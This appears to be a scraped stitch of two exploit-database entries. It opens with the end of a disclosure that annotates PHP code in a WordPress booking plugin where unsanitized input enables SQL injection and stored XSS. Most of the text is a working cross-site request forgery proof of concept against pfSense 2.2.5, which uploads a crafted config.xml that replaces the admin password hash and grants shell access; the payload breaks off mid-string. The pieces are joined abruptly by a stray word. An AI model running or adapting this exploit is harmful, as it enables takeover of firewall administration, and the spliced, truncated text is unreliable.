    $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_TDEAPP_CALENDAR_DATA_TABLE." WHERE reference='".intval($itemnumber[0])."'" );
    if (count($myrows))
    {
        echo 'OK - Already processed';
        exit;
    }
    //BUT HERE THE PARAMETER IS PASSED WITHOUT SANITIZATION
    cpabc_process_ready_to_go_appointment($_GET["itemnumber"], $payer_email);

    echo 'OK';

    exit();

}


Now let's verify the ´cpabc_process_ready_to_go_appointment´ function...

function cpabc_process_ready_to_go_appointment($itemnumber, $payer_email = "")
{
   global $wpdb;

   ...

   $itemnumber = explode(";",$itemnumber); //CONVERTING INTO AN ARRAY THE SUPPLIED PARAMETER
   $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_TABLE_NAME." WHERE id=".$itemnumber[0] ); //THERE IS NO SANITIZATION

   //NEXT INSTRUCTION IS USEFUL FOR SECOND ORDER SQL INJECTION
   $mycalendarrows = $wpdb->get_results( 'SELECT * FROM '.CPABC_APPOINTMENTS_CONFIG_TABLE_NAME .' WHERE `'.CPABC_TDEAPP_CONFIG_ID.'`='.$myrows[0]->calendar);
   $reminder_timeline = date( "Y-m-d H:i:s", strtotime (date("Y-m-d H:i:s")." +".$mycalendarrows[0]->reminder_hours." hours") );
   if (!defined('CP_CALENDAR_ID'))
        define ('CP_CALENDAR_ID',$myrows[0]->calendar);

    ...

   $params = unserialize($myrows[0]->buffered_date); //POTENTIAL RISKY `unserialize` METHOD CALLED use json functions instead
   $attachments = array();
   foreach ($params as $item => $value)
   {
       $email_content1 = str_replace('<%'.$item.'%>',(is_array($value)?(implode(", ",$value)):($value)),$email_content1);
       $email_content2 = str_replace('<%'.$item.'%>',(is_array($value)?(implode(", ",$value)):($value)),$email_content2);
       $email_content1 = str_replace('%'.$item.'%',(is_array($value)?(implode(", ",$value)):($value)),$email_content1);
       $email_content2 = str_replace('%'.$item.'%',(is_array($value)?(implode(", ",$value)):($value)),$email_content2);
       if (strpos($item,"_link"))
           $attachments[] = $value;
   }
   $buffered_dates = array();
   for ($n=0;$n<count($itemnumber);$n++)
   {

   		//USEFUL FOR SECOND ORDER SQL INJECTION
       $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_TABLE_NAME." WHERE id=".$itemnumber[$n] );
       $buffered_dates[] = $myrows[0]->booked_time;
       $information = $mycalendarrows[0]->uname."\n".
                      $myrows[0]->booked_time."\n".
                      ($myrows[0]->name?$myrows[0]->name."\n":"").
                      $myrows[0]->email."\n".
                      ($myrows[0]->phone?$myrows[0]->phone."\n":"").
                      $myrows[0]->question."\n";

        ...

        //USEFUL FOR STORED CROSS-SITE SCRIPTING
       $rows_affected = $wpdb->insert( CPABC_TDEAPP_CALENDAR_DATA_TABLE, array( 'appointment_calendar_id' => $myrows[0]->calendar,
                                                                            'datatime' => date("Y-m-d H:i:s", strtotime($myrows[0]->booked_time_unformatted)),
                                                                            'title' => $myrows[0]->email,
                                                                            'reminder' => $reminder,
                                                                            'quantity' =>  (isset($myrows[0]->quantity)?$myrows[0]->quantity:1),
                                                                            'description' => str_replace("\n","<br />", $information),
                                                                            'reference' => $itemnumber[$n]
                                                                             ) );
       
   }
}



==========
 CREDITS
==========

Vulnerability discovered by:
	Joaquin Ramirez Martinez [i0 security-lab]
	joaquin.ramirez.mtz.lab[at]gmail[dot]com
	https://www.facebook.com/I0-security-lab-524954460988147/
	https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


========
TIMELINE
========

2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
2016-01-25 released appointment-booking-calendar 1.1.24
2016-01-26 full disclosure
HireHackking 
<!--
# Exploit Title: pfSense Firewall 2.2.5 Cross-Site Request Forgery 
# Date: 23-01-2016
# Software Link: http://mirror.ancl.hawaii.edu/pub/pfSense/downloads/pfSense-2.2.5-RELEASE-1g-amd64-nanobsd.img.gz
# Exploit Author: Aatif Shahdad
# Twitter: https://twitter.com/61617469665f736
# Contact: aatif_shahdad@icloud.com
# Category: webapps
 
1. Description
   
The page diag_backup.php had CSRF checking disabled for all functions, including the restore function. As a result, a specially crafted attacker page could cause
a logged-in administrator to upload a config.xml crafted by the attacker.
   
2. Proof of Concept
 
Login as admin to the Web Console at http://192.168.0.103 (set at the time on install). Open the following Proof-Of-Concept with the browser that you used to log in to the Firewall.

POC to upload crafted config.xml:

--POC begins--

-->

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://192.168.0.103/diag_backup.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------8271879791886716022292650152");
        xhr.withCredentials = true;
        var body = "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"backuparea\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"donotbackuprrd\"\r\n" + 
          "\r\n" + 
          "on\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"encrypt_password\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"encrypt_passconf\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"restorearea\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"conffile\"; filename=\"config-pfSense.localdomain-20160123123616.xml\"\r\n" + 
          "Content-Type: text/xml\r\n" + 
          "\r\n" + 
          "\x3c?xml version=\"1.0\"?\x3e\n" + 
          "\x3cpfsense\x3e\n" + 
          "\t\x3cversion\x3e12.0\x3c/version\x3e\n" + 
          "\t\x3clastchange/\x3e\n" + 
          "\t\x3ctheme\x3epfsense_ng\x3c/theme\x3e\n" + 
          "\t\x3csystem\x3e\n" + 
          "\t\t\x3coptimization\x3enormal\x3c/optimization\x3e\n" + 
          "\t\t\x3chostname\x3epfSense\x3c/hostname\x3e\n" + 
          "\t\t\x3cdomain\x3elocaldomain\x3c/domain\x3e\n" + 
          "\t\t\x3cgroup\x3e\n" + 
          "\t\t\t\x3cname\x3eall\x3c/name\x3e\n" + 
          "\t\t\t\x3cdescription\x3e\x3c![CDATA[All Users]]\x3e\x3c/description\x3e\n" + 
          "\t\t\t\x3cscope\x3esystem\x3c/scope\x3e\n" + 
          "\t\t\t\x3cgid\x3e1998\x3c/gid\x3e\n" + 
          "\t\t\t\x3cmember\x3e0\x3c/member\x3e\n" + 
          "\t\t\x3c/group\x3e\n" + 
          "\t\t\x3cgroup\x3e\n" + 
          "\t\t\t\x3cname\x3eadmins\x3c/name\x3e\n" + 
          "\t\t\t\x3cdescription\x3e\x3c![CDATA[System Administrators]]\x3e\x3c/description\x3e\n" + 
          "\t\t\t\x3cscope\x3esystem\x3c/scope\x3e\n" + 
          "\t\t\t\x3cgid\x3e1999\x3c/gid\x3e\n" + 
          "\t\t\t\x3cmember\x3e0\x3c/member\x3e\n" + 
          "\t\t\t\x3cpriv\x3epage-all\x3c/priv\x3e\n" + 
          "\t\t\x3c/group\x3e\n" + 
          "\t\t\x3cuser\x3e\n" + 
          "\t\t\t\x3cname\x3eadmin\x3c/name\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[System Administrator]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3cscope\x3esystem\x3c/scope\x3e\n" + 
          "\t\t\t\x3cgroupname\x3eadmins\x3c/groupname\x3e\n" + 
          "\t\t\t\x3cpassword\x3e$1$HuUrmCMQ$HcpUfJ7bi2kDoPmwaW5Hf.\x3c/password\x3e\n" + 
          "\t\t\t\x3cuid\x3e0\x3c/uid\x3e\n" + 
          "\t\t\t\x3cpriv\x3euser-shell-access\x3c/priv\x3e\n" + 
          "\t\t\t\x3cmd5-hash\x3e3a4b4c4dde494d2cec3e0ea68e437e17\x3c/md5-hash\x3e\n" + 
          "\t\t\t\x3cnt-hash\x3e3338333834323034353935373932633863623430663264336164663532353636\x3c/nt-hash\x3e\n" + 
          "\t\t\x3c/user\x3e\n" + 
          "\t\t\x3cnextuid\x3e2000\x3c/nextuid\x3e\n" + 
          "\t\t\x3cnextgid\x3e2000\x3c/nextgid\x3e\n" + 
          "\t\t\x3ctimezone\x3eEtc/UTC\x3c/timezone\x3e\n" + 
          "\t\t\x3ctime-update-interval/\x3e\n" + 
          "\t\t\x3ctimeservers\x3e0.pfsense.pool.ntp.org\x3c/timeservers\x3e\n" + 
          "\t\t\x3cwebgui\x3e\n" + 
          "\t\t\t\x3cprotocol\x3ehttps\x3c/protocol\x3e\n" + 
          "\t\t\t\x3cloginautocomplete/\x3e\n" + 
          "\t\t\t\x3cssl-certref\x3e56a352ca3e5fb\x3c/ssl-certref\x3e\n" + 
          "\t\t\x3c/webgui\x3e\n" + 
          "\t\t\x3cdisablenatreflection\x3eyes\x3c/disablenatreflection\x3e\n" + 
          "\t\t\x3cdisablesegmentationoffloading/\x3e\n" + 
          "\t\t\x3cdisablelargereceiveoffloading/\x3e\n" + 
          "\t\t\x3cipv6allow/\x3e\n" + 
          "\t\t\x3cpowerd_ac_mode\x3ehadp\x3c/powerd_ac_mode\x3e\n" + 
          "\t\t\x3cpowerd_battery_mode\x3ehadp\x3c/powerd_battery_mode\x3e\n" + 
          "\t\t\x3cpowerd_normal_mode\x3ehadp\x3c/powerd_normal_mode\x3e\n" + 
          "\t\t\x3cbogons\x3e\n" + 
          "\t\t\t\x3cinterval\x3emonthly\x3c/interval\x3e\n" + 
          "\t\t\x3c/bogons\x3e\n" + 
          "\t\t\x3ckill_states/\x3e\n" + 
          "\t\t\x3clanguage\x3een_US\x3c/language\x3e\n" + 
          "\t\t\x3cdns1gw\x3enone\x3c/dns1gw\x3e\n" + 
          "\t\t\x3cdns2gw\x3enone\x3c/dns2gw\x3e\n" + 
          "\t\t\x3cdns3gw\x3enone\x3c/dns3gw\x3e\n" + 
          "\t\t\x3cdns4gw\x3enone\x3c/dns4gw\x3e\n" + 
          "\t\t\x3cdnsserver\x3e8.8.8.8\x3c/dnsserver\x3e\n" + 
          "\t\t\x3cdnsserver\x3e8.8.8.8\x3c/dnsserver\x3e\n" + 
          "\t\t\x3cdnsallowoverride/\x3e\n" + 
          "\t\x3c/system\x3e\n" + 
          "\t\x3cinterfaces\x3e\n" + 
          "\t\t\x3cwan\x3e\n" + 
          "\t\t\t\x3cenable/\x3e\n" + 
          "\t\t\t\x3cif\x3eem0\x3c/if\x3e\n" + 
          "\t\t\t\x3cipaddr\x3edhcp\x3c/ipaddr\x3e\n" + 
          "\t\t\t\x3cipaddrv6\x3edhcp6\x3c/ipaddrv6\x3e\n" + 
          "\t\t\t\x3cgateway/\x3e\n" + 
          "\t\t\t\x3cblockbogons\x3eon\x3c/blockbogons\x3e\n" + 
          "\t\t\t\x3cmedia/\x3e\n" + 
          "\t\t\t\x3cmediaopt/\x3e\n" + 
          "\t\t\t\x3cdhcp6-duid/\x3e\n" + 
          "\t\t\t\x3cdhcp6-ia-pd-len\x3e0\x3c/dhcp6-ia-pd-len\x3e\n" + 
          "\t\t\x3c/wan\x3e\n" + 
          "\t\x3c/interfaces\x3e\n" + 
          "\t\x3cstaticroutes/\x3e\n" + 
          "\t\x3cdhcpd/\x3e\n" + 
          "\t\x3cpptpd\x3e\n" + 
          "\t\t\x3cmode/\x3e\n" + 
          "\t\t\x3credir/\x3e\n" + 
          "\t\t\x3clocalip/\x3e\n" + 
          "\t\t\x3cremoteip/\x3e\n" + 
          "\t\x3c/pptpd\x3e\n" + 
          "\t\x3csnmpd\x3e\n" + 
          "\t\t\x3csyslocation/\x3e\n" + 
          "\t\t\x3csyscontact/\x3e\n" + 
          "\t\t\x3crocommunity\x3epublic\x3c/rocommunity\x3e\n" + 
          "\t\x3c/snmpd\x3e\n" + 
          "\t\x3cdiag\x3e\n" + 
          "\t\t\x3cipv6nat\x3e\n" + 
          "\t\t\t\x3cipaddr/\x3e\n" + 
          "\t\t\x3c/ipv6nat\x3e\n" + 
          "\t\x3c/diag\x3e\n" + 
          "\t\x3cbridge/\x3e\n" + 
          "\t\x3csyslog/\x3e\n" + 
          "\t\x3cfilter\x3e\n" + 
          "\t\t\x3crule\x3e\n" + 
          "\t\t\t\x3ctype\x3epass\x3c/type\x3e\n" + 
          "\t\t\t\x3cipprotocol\x3einet\x3c/ipprotocol\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Default allow LAN to any rule]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3cinterface\x3elan\x3c/interface\x3e\n" + 
          "\t\t\t\x3ctracker\x3e0100000101\x3c/tracker\x3e\n" + 
          "\t\t\t\x3csource\x3e\n" + 
          "\t\t\t\t\x3cnetwork\x3elan\x3c/network\x3e\n" + 
          "\t\t\t\x3c/source\x3e\n" + 
          "\t\t\t\x3cdestination\x3e\n" + 
          "\t\t\t\t\x3cany/\x3e\n" + 
          "\t\t\t\x3c/destination\x3e\n" + 
          "\t\t\x3c/rule\x3e\n" + 
          "\t\t\x3crule\x3e\n" + 
          "\t\t\t\x3ctype\x3epass\x3c/type\x3e\n" + 
          "\t\t\t\x3cipprotocol\x3einet6\x3c/ipprotocol\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Default allow LAN IPv6 to any rule]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3cinterface\x3elan\x3c/interface\x3e\n" + 
          "\t\t\t\x3ctracker\x3e0100000102\x3c/tracker\x3e\n" + 
          "\t\t\t\x3csource\x3e\n" + 
          "\t\t\t\t\x3cnetwork\x3elan\x3c/network\x3e\n" + 
          "\t\t\t\x3c/source\x3e\n" + 
          "\t\t\t\x3cdestination\x3e\n" + 
          "\t\t\t\t\x3cany/\x3e\n" + 
          "\t\t\t\x3c/destination\x3e\n" + 
          "\t\t\x3c/rule\x3e\n" + 
          "\t\x3c/filter\x3e\n" + 
          "\t\x3cipsec/\x3e\n" + 
          "\t\x3caliases/\x3e\n" + 
          "\t\x3cproxyarp/\x3e\n" + 
          "\t\x3ccron\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e1,31\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e0-5\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 adjkerntz -a\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e1\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e3\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e1\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /etc/rc.update_bogons.sh\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e*/60\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e*\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /usr/local/sbin/expiretable -v -t 3600 sshlockout\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e*/60\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e*\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /usr/local/sbin/expiretable -v -t 3600 webConfiguratorlockout\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e1\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e1\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /etc/rc.dyndns.update\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e*/60\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e*\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /usr/local/sbin/expiretable -v -t 3600 virusprot\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e30\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e12\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /etc/rc.update_urltables\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\x3c/cron\x3e\n" + 
          "\t\x3cwol/\x3e\n" + 
          "\t\x3crrd\x3e\n" + 
          "\t\t\x3cenable/\x3e\n" + 
          "\t\x3c/rrd\x3e\n" + 
          "\t\x3cload_balancer\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eICMP\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3eicmp\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[ICMP]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions/\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eTCP\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3etcp\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Generic TCP]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions/\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eHTTP\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3ehttp\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Generic HTTP]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions\x3e\n" + 
          "\t\t\t\t\x3cpath\x3e/\x3c/path\x3e\n" + 
          "\t\t\t\t\x3chost/\x3e\n" + 
          "\t\t\t\t\x3ccode\x3e200\x3c/code\x3e\n" + 
          "\t\t\t\x3c/options\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eHTTPS\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3ehttps\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Generic HTTPS]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions\x3e\n" + 
          "\t\t\t\t\x3cpath\x3e/\x3c/path\x3e\n" + 
          "\t\t\t\t\x3chost/\x3e\n" + 
          "\t\t\t\t\x3ccode\x3e200\x3c/code\x3e\n" + 
          "\t\t\t\x3c/options\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eSMTP\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3esend\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Generic SMTP]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions\x3e\n" + 
          "\t\t\t\t\x3csend/\x3e\n" + 
          "\t\t\t\t\x3cexpect\x3e220 *\x3c/expect\x3e\n" + 
          "\t\t\t\x3c/options\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\x3c/load_balancer\x3e\n" + 
          "\t\x3cwidgets\x3e\n" + 
          "\t\t\x3csequence\x3esystem_information-container:col1:show,captive_portal_status-container:col1:close,carp_status-container:col1:close,cpu_graphs-container:col1:close,gateways-container:col1:close,gmirror_status-container:col1:close,installed_packages-container:col1:close,interface_statistics-container:col1:close,interfaces-container:col2:show,ipsec-container:col2:close,load_balancer_status-container:col2:close,log-container:col2:close,picture-container:col2:close,rss-container:col2:close,services_status-container:col2:close,traffic_graphs-container:col2:close\x3c/sequence\x3e\n" + 
          "\t\x3c/widgets\x3e\n" + 
          "\t\x3copenvpn/\x3e\n" + 
          "\t\x3cdnshaper/\x3e\n" + 
          "\t\x3cunbound\x3e\n" + 
          "\t\t\x3cenable/\x3e\n" + 
          "\t\t\x3cdnssec/\x3e\n" + 
          "\t\t\x3cactive_interface/\x3e\n" + 
          "\t\t\x3coutgoing_interface/\x3e\n" + 
          "\t\t\x3ccustom_options/\x3e\n" + 
          "\t\t\x3chideidentity/\x3e\n" + 
          "\t\t\x3chideversion/\x3e\n" + 
          "\t\t\x3cdnssecstripped/\x3e\n" + 
          "\t\x3c/unbound\x3e\n" + 
          "\t\x3cvlans/\x3e\n" + 
          "\t\x3crevision\x3e\n" + 
          "\t\t\x3ctime\x3e1453547589\x3c/time\x3e\n" + 
          "\t\t\x3cdescription\x3e\x3c![CDATA[admin@192.168.0.101: System: ]]\x3e\x3c/description\x3e\n" + 
          "\t\t\x3cusername\x3eadmin@192.168.0.101\x3c/username\x3e\n" + 
          "\t\x3c/revision\x3e\n" + 
          "\t\x3cshaper/\x3e\n" + 
          "\t\x3ccert\x3e\n" + 
          "\t\t\x3crefid\x3e56a352ca3e5fb\x3c/refid\x3e\n" + 
          "\t\t\x3cdescr\x3e\x3c![CDATA[webConfigurator default (56a352ca3e5fb)]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\x3ctype\x3eserver\x3c/type\x3e\n" + 
          "\t\t\x3ccrt\x3eLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZiVENDQkZXZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBRENCdERFTE1Ba0dBMVVFQmhNQ1ZWTXgKRGpBTUJnTlZCQWdUQlZOMFlYUmxNUkV3RHdZRFZRUUhFd2hNYjJOaGJHbDBlVEU0TURZR0ExVUVDaE12Y0daVApaVzV6WlNCM1pXSkRiMjVtYVdkMWNtRjBiM0lnVTJWc1ppMVRhV2R1WldRZ1EyVnlkR2xtYVdOaGRHVXhLREFtCkJna3Foa2lHOXcwQkNRRVdHV0ZrYldsdVFIQm1VMlZ1YzJVdWJHOWpZV3hrYjIxaGFXNHhIakFjQmdOVkJBTVQKRlhCbVUyVnVjMlV0TlRaaE16VXlZMkV6WlRWbVlqQWVGdzB4TmpBeE1qTXhNREUxTXpoYUZ3MHlNVEEzTVRVeApNREUxTXpoYU1JRzBNUXN3Q1FZRFZRUUdFd0pWVXpFT01Bd0dBMVVFQ0JNRlUzUmhkR1V4RVRBUEJnTlZCQWNUCkNFeHZZMkZzYVhSNU1UZ3dOZ1lEVlFRS0V5OXdabE5sYm5ObElIZGxZa052Ym1acFozVnlZWFJ2Y2lCVFpXeG0KTFZOcFoyNWxaQ0JEWlhKMGFXWnBZMkYwWlRFb01DWUdDU3FHU0liM0RRRUpBUllaWVdSdGFXNUFjR1pUWlc1egpaUzVzYjJOaGJHUnZiV0ZwYmpFZU1Cd0dBMVVFQXhNVmNHWlRaVzV6WlMwMU5tRXpOVEpqWVRObE5XWmlNSUlCCklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OEwyN3dFMnc5NGtONWpPdS9UMFVHYTYKcjBGUlptM2ZDdmdRdElpUHZVUEN4SHpkQ3RyalRCaUdZK3grU0t4cFpEREJvdGg4cmQzS1dSdWRIajR6cFpnSwpKOXR5djJhVXNTQ3Jqd3NCc3Fva0RzdHNaUlR2RkRPTE9kd2xKNDBxV2grVjNINStiOWNKM09SN1d2Zkc4MHdGClJQbjdCMTFlMHdJVU1OSkhjbWtpbHRva0lVSlJRbWtSSTU1K3dnQkdrWUlwTTJCOTdQc0tWSVdjUnVQSnhRcFQKY0l4VmFvNmtIVDFBQytsU2RxK0x6UWlrSTJBRkU3a1RjeDVFK28yZnRWRlZySHI2b1hhdlYzRCtoZmRwaFp0VgpTQllXYUZycDZlVUJwYm5zQlR0c2orUlp1S1RmWEczSTJQTWFWOVAyNkJ2VU5xVXhtdkJsc3BZRTRJaVFld0lECkFRQUJvNElCaGpDQ0FZSXdDUVlEVlIwVEJBSXdBREFSQmdsZ2hrZ0JodmhDQVFFRUJBTUNCa0F3TXdZSllJWkkKQVliNFFnRU5CQ1lXSkU5d1pXNVRVMHdnUjJWdVpYSmhkR1ZrSUZObGNuWmxjaUJEWlhKMGFXWnBZMkYwWlRBZApCZ05WSFE0RUZnUVVCUmNZeGlxaEkreE1FWjEwcnlFVS9NWWZLeUV3Z2VFR0ExVWRJd1NCMlRDQjFvQVVCUmNZCnhpcWhJK3hNRVoxMHJ5RVUvTVlmS3lHaGdicWtnYmN3Z2JReEN6QUpCZ05WQkFZVEFsVlRNUTR3REFZRFZRUUkKRXdWVGRHRjBaVEVSTUE4R0ExVUVCeE1JVEc5allXeHBkSGt4T0RBMkJnTlZCQW9UTDNCbVUyVnVjMlVnZDJWaQpRMjl1Wm1sbmRYSmhkRzl5SUZObGJHWXRVMmxuYm1Wa0lFTmxjblJwWm1sallYUmxNU2d3SmdZSktvWklodmNOCkFRa0JGaGxoWkcxcGJrQndabE5sYm5ObExteHZZMkZzWkc5dFlXbHVNUjR3SEFZRFZRUURFeFZ3WmxObGJuTmwKTFRVMllUTTFNbU5oTTJVMVptS0NBUUF3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFR0NDc0dBUVVGQ0FJQwpNQXNHQTFVZER3UUVBd0lGb0RBTkJna3Foa2lHOXcwQkFRc0ZBQU9DQVFFQXREcklKREwxYmpiR1IwVS8wTjRICkpPRi9NT1BWSFNLZVp0V2k1eWFFOTR0VlRxbmNYVWNpalRncS8xNHB0NGRzbkl6ek56dFh2aE5wdEl0ZzlTeDIKcnNaRGJEYzNGaXZveUxtU1RQY0E3WGh4MlBJRUdFYzhKRi9CK1I1UDVhRGtGTFRBNE5KMUc1ZXo5UkxERmd3Ngp5TnlUNlJoRkZONXhreXpZY3BHSFZZZTZUQXh1WGdNOVRWdXhENXI5RWJROG53eGE5TnBmSFl0RmhydFN0N3pvCmsvaC9vQnpHeS9JZEh3Y1RHQStkYm9mOUdiNnhkSWFvTGdhc1I5SVovTmFQQUliVFVKTmpMZHhhRXNkbTdsMlcKMUc3NjY2bGphSnB5R1BQRmFtODNrZVZvZzBicmJOMFpwYStMRm0vSW54SVgvT3VDT0M3WmNtS0lPT1p6cTRHdQpiZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K\x3c/crt\x3e\n" + 
